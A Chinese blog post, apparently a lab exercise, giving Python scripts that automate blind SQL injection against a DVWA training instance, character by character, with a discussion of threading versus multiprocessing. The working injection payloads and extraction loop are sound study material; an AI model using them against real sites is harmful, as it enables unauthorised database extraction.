请注意，本文编写于 759 天前，最后修改于 743 天前，其中某些信息可能已经过时。

加入多线程&多进程

新版本

import concurrent.futures
import requests
from bs4 import BeautifulSoup


def run_code(demot):
    texterr = "User ID is MISSING from the database."
    base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/"
    session_id = "8tuabbh2e1oiv0c2flpn3jbvk4"

    params = {"id": demot, "Submit": "Submit"}
    cookies = {"PHPSESSID": session_id, "security": "low"}

    response = requests.get(base_url, params=params, cookies=cookies)
    print(response.status_code)

    soup = BeautifulSoup(response.text, "html.parser")
    search_results = soup.find_all("pre")
    print(search_results)
    print(demot)
    for result in search_results:
        text = result.text.strip()
        print(text)
        if (text != texterr) and ("User ID exists in the database." in text):
            with open("example.txt", "a") as file:
                file.write(demot + "\n")


# 多线程运行
# if __name__ == "__main__":
#     demots = list(range(1, 200))  # 保存所有需要运行的demot
#     max_threads = 10  # 最大线程数
#     with concurrent.futures.ThreadPoolExecutor(max_workers=max_threads) as executor:
#         for i in range(1, 6):
#             for demo in range(1, 128):
#                 demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #"
#                 executor.submit(run_code, demot)


# 多进程
if __name__ == "__main__":
    max_processes = 60
    with concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor:
        for i in range(1, 6):
            for demo in range(1, 128):
                # demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #"
                demot = f"1'and ord(substr(database(),{i},1))= {demo} #"
                executor.submit(run_code, demot)

旧版本

import requests
from bs4 import BeautifulSoup

texterr = "User ID is MISSING from the database."
base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/"
session_id = "sb35jegkjt33kjgovvptbua022"

for i in range(1, 5):
    for demo in range(1, 128):
        demot = f"1' and ord(substr(database(), {i}, 1)) = {demo} #"
        params = {"id": demot, "Submit": "Submit"}
        cookies = {"PHPSESSID": session_id, "security": "low"}

        response = requests.get(base_url, params=params, cookies=cookies)

        soup = BeautifulSoup(response.text, "html.parser")
        search_results = soup.find_all("pre")
        for result in search_results:
            text = result.text.strip()
            print(demot)
            if (text != texterr) and ("User ID exists in the database." in text):
                with open("example.txt", "a") as file:
                    file.write(demot + "\n")
                break

1. 导入了requests和BeautifulSoup模块，分别用于发送HTTP请求和解析HTML页面。
   
2. 定义了一个错误信息变量texterr，以及目标网站的基本URL和会话ID。
   
3. 使用嵌套循环，遍历数据库名称1-4的ASCII码。
   
4. 构造Payload字符串demot，然后将其作为参数发送到目标网址。
   
5. 从响应中解析出页面内容，然后在页面中查找包含响应文本的标签（pre）的内容。
   
6. 检查每个找到的结果，如果文本不等于错误信息并且包含指定提示，则将查询字符串写入到文件"example.txt"中，并且停止当前循环。
   
7. 由于在实际测试中测试Payload会返回一个404响应，但其并不影响页面的返回，故没有设置检查响应码

以下是对python的多线程和多进程的优劣关系和应用场景的解释

多线程（Threading）

优点：

• 轻量级：线程的创建和销毁比进程快，资源消耗较少。
• 共享内存：线程间可以共享内存，数据传输简单。
• I/O密集型：如果爬虫主要受限于网络I/O，多线程可以有效地利用等待时间来执行其他任务。

缺点：

• 全局解释器锁（GIL）：Python的CPython实现中的GIL限制了同一时间只能有一个线程执行，这意味着多线程并不能有效利用多核CPU进行并行计算。
• 资源限制：操作系统对线程的数量有限制，过多的线程可能导致效率降低。

多进程（Multiprocessing）

优点：

• 绕过GIL：每个进程有自己的Python解释器和内存空间，可以绕过GIL的限制，实现真正的并行执行。
• CPU密集型：如果爬虫任务是CPU密集型的，多进程可以更好地利用多核处理器。
• 稳定性：进程间相互独立，一个进程崩溃不会影响其他进程。

缺点：

• 资源消耗：进程的创建和销毁比线程慢，消耗的资源更多。
• 进程间通信（IPC）：进程间需要通过IPC进行通信，这比线程间共享内存复杂。
• 数据共享：进程间共享数据不如线程间方便，需要使用特定的IPC机制。

选择建议：

• I/O密集型任务：如果爬虫主要受限于网络请求和响应时间，多线程可能更合适，因为它可以更有效地利用等待时间。
• CPU密集型任务：如果爬虫涉及到大量的数据处理，多进程可能更合适，因为它可以利用多核CPU进行并行处理。
• 爬虫规模：对于大规模的爬虫，多进程可能更有利于扩展和管理。
• 开发和维护成本：多线程相对简单，但多进程虽然复杂但更稳定。